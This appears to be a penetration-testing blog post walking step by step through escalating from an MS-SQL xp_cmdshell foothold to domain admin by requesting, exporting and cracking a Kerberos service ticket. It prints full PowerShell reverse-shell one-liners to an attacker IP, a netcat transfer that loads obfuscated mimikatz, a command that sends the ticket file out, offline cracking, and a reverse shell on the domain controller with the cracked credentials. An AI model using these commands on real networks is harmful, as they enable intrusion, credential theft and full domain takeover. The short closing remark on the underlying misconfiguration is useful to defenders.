Remember my last post, the “SYSTEM” challenge? Now let’s modify the scenario….
Imagine you’ve got the xp_cmdshell running under this account:
os-shell> whoami do you want to retrieve the command standard output? [Y/n/a] y [21:52:27] [INFO] theQL query used returns 1 entries [21:52:27] [INFO] retrieved: dummydomain\\andrew command standard output [1]: [*] dummydomain\andrew
Oh! This MS-SQL server is running under a domain account, nice catch!
First of all let’s move to a stable powershell terminal with our reverse script (the server can connect to the internet on ports 80 and 443)
os-shell>powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<our_public_ip>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
So what are our privileges?
Let’s take a look at the groups we belong to…
PS C:\windows\system32\> net user andrew /domain ---snip-- Local Group Memberships Global Group memberships *Domain Users The command completed successfully. PS C:\Windows\system32> net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator DUMMYDOMAIN\Domain Admins The command completed successfully. PS C:\Windows\system32>cmd /c echo %COMPUTERNAME% SQLSRV1 PS C:\Windows\system32>cmd /c echo %USERDOMAIN% DUMMYDOMAIN
Hmm.. bad news .. we are simple “Domain Users” and our main goal is to escalate privileges, possibly becoming domain admins, mission impossible? Never say never…
All the techniques explained in the posts before doesn’t work, so let’s try something completely different.
All we have is a valid domain user session and no special privileges. Time to rethink our approach..
Introducing the “Silver Ticket”
First of all a little bit of theory 😉
In order to understand the “silver ticket” you have to know:
- SPN Service Principal Names :”A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account.”. SPN are identified by the service name, the host on which the service is running and the account.
- Service Tickets ares issued by the TGS (Ticket Granting Service) on the DC’s when you request access to a service identified by a specific SPN and are encrypted with the account’s password in NTLM hash.
- There are 2 types of accounts: Computer accounts whith random passwords which are regenerated by default every 30 days and User accounts.
- If a service with SPN is running under a User Account, the user’s password NTLM hash will be used for the Service Ticket creation
- There are a lot of SPN’s related to services. Each instance is registered in form service/host:<instance name> or <port>
- SPN for some softwares (es: MSSQL) are automatically regsistered under certain conditions (they have to run under local system/network service or the user running the service has to have adequate privileges)
- Any domain user can request Service tickets.
- Requesting a ticket does not mean that you are granted to use this service
- If a normal user requests these tickets and exports them, will he be able to crack the password?
- Yes! It’s possible to crack the password offline with these fantastic tool: https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
Usually, services running under Domain Users Accounts are “special” users created only for these tasks. It’s no so uncommon for lazy admins to choose not “so strong” passwords (it’s just a service account..)
This was the Silver Ticket! An excellent guide can be found here , even if a little bit outdated but some techniques are always valid.
Exploiting the Silver Ticket
Ok, enough theory, let’s do it!
First of all we have to identify the possible SPNs of these services. How? You can download several tools just googling around with the keywords “SPN enumeration tools” etc, but we want to use built-in utilties and upload only the strict necessary!
Our windows tool is “setspn.exe” and that’s how we will use it (we can list all spn’s containing “svc” in the service name just to narrow the search):
PS C:\windows\system32\>setspn -F -Q *svc/* MSSQLSvc/SRVSQL2.dummydomain.local:1433
We found an SPN of another MS-SQL service running on different server with a different account:
PS C:\windows\system32>setspn -F -Q MSSQLSvc/SRVSQL2.dummydomain.local:1433 CN=serviceuser,CN=Users,DC=dummycompany,DC=local MSSQLSvc/SRVSQL2.dummydomain.local:1433
Who is “serviceuser”?
PS C:\windows\system32>net user serviceuser /domain Local Group Memberships Global Group memberships *Domain Users *Domain Admins The command completed successfully.
Member of Domain Admins!
So we have identified a more than valid SPN, now we must request it, load it in memory and save the ticket to a file for offline cracking and, if it everything works, we will get the user’s password.
How can we achieve it?
- using the “System.IdentityModel” assembly in poweshell for requesting and loading the Service ticket. This assembly is installed with MS-SQL server
- mimikatz for exporting and manipulating the tickets
So we have to upload (or invoke directly) mimikatz, preferably the .ps1 obfuscated version. We can use the Net.WebClient.Downloadxx methods but remember, we will also need to upload the saved ticket on our machine for password cracking.
What about a simple upload/download .ps1 inliner script and netcat on our machine? A “poor man file transfer utility”, you got it!
First of all download our obfuscated version of mimikatz.ps1:
On our machine:
cat mimikatz.ps1 | nc -lvp 80
On SQLSRV1 PS terminal:
PS C:\Windows\system32>$c=New-Object System.Net.Sockets.TCPClient('our_ip',80);$s= $c.GetStream();[byte[]]$b=0..65535|%{0};while(($i = $s.Read($b,0,$b.Length)) -ne 0){;$d=$d+(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);}$client.Close();echo $d > m.ps1
Cool uh? We redirected the output to m.ps1 et voila’. We have uploaded mimikatz!
Now we will proceed with requesting the ticket and loading it in memory:
PS C:\tmp\> Add-Type -AssemblyName System.IdentityModel PS C:\tmp\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SRVSQL2.dummydomain.local:1433"
Id : uuid-fddcfe2e-196b-4f31-bb5e-9de0d312f4e1-2 SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKe y} ValidFrom : 3/6/2017 6:21:08 AM ValidTo : 3/6/2017 12:43:54 PM ServicePrincipalName : MSSQLSvc/SRVSQL2.dummysomain.local:1433 SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
It worked, let’s check .it:
PS C:\tmp\>klist #2> Client: andrew @ DUMMYDOMAIN.LOCAL Server: MSSQLSvc/SRVSQL2.dummydomain.local @ DUMMYDOMAIN.LOCAL KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize Start Time: 3/5/2017 18:56:52 (local) End Time: 3/6/2017 4:43:54 (local) Renew Time: 3/12/2017 18:43:54 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0 Kdc Called: DC1.dummydomain.local
Great! Ticket was loaded in memory. Next step is saving this precious ticket with mimikatz.
PS C:\tmp\>. .\m.ps1 PS C:\tmp\>Invoke-obfuscated -Command '"kerberos::list /export"'
PS C:\tmp\>dir *.kirbi ... -a--- 3/5/2017 7:15 PM 1440 2-40a10000-andrew@mssqlsvc~srvsql2 .dummydomain.local-dummmydomain.LO CAL.kirbi ...
This is our ticket, now we have to upload it on our machine.
Again we will use our .ps1 inliner script and netcat on our machine:
#nc -lvp 80 > silver.krb
and in our PS shell:
PS C:\tmp\>copy 2-40a10000-andrew@mssqlsvc~srvsql2.dummydomain.local-dummmydomain.LOCAL.kirbi sql.krb PS C:\tmp\>$c=New-Object System.Net.Sockets.TCPClient('<our-ip>',80);$s=[System.IO.File]::ReadAllBytes("c:\TMP\sql.krb")$st=$client.GetStream();$st.Write($s,0,$s.Length);$st.Flush();$c.Close()
We have uploaded our ticket, now let’s try to crack the password….
#python ./tgsrepcrack.py ourwordlist.txt silver.krb
After a while, this wonderful message:
found password for ticket 0: Passw0rd File: silver.krb All tickets cracked!
Good! We know the password. Last step is to obtain a shell with this account. We need a sort of “runas”, is it possible from our PS remote terminal?
Let’s try some tricks. First of all , we will “convert” our plaintext password in a secure string and then store the username/securepassword in a credential object:
PS C:\tmp>$user = 'dummydomain\serviceuser' PS C:\tmp>$psw = 'Passw0rd' PS C:\tmp>$secpsw= ConvertTo-SecureString $password -AsPlainText -Force PS C:\tmp>$credential = New-Object System.Management.Automation.PSCredential $user, $secpsw
And then invoke the following command:
PS C:\tmp>invoke-command -credential $credential -computername SRVDC1 -scriptblock {$client = New-Object System.Net.Sockets.TCPClient('<our_ip>',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}
What are we doing? Launch a reverse shell on the specified computer (in this case the domain controller!) with the credentials of a different user. Finger crossed and we should get a shell on SRVDC1 with domain admin rights (serviceuser):
PS C:\Users\serviceuser\Documents> whoami mydomainb\serviceuser PS C:\Users\serviceuser\Documents> cmd /c echo %computername% SRVCDC1
Why did we launch “invoke-command” and not for example “start-process”? Because start-process would not work, given that we are operating in SessionID 0, reserved exclusively for services and other non-interactive user application.
And from now on post-exploitation and lateral movement should start, but this is another story …
So, what was the problem in this case? A severe error, running Sqlserver with a user belonging to Domain Admin group (a bad practice) will register an SPN, and a weak password will do the rest…
There are several other ways to exploit the Silver Ticket, and this was the easyest one. A good starting point could be here: https://adsecurity.org/?p=2011
That’s all 🙂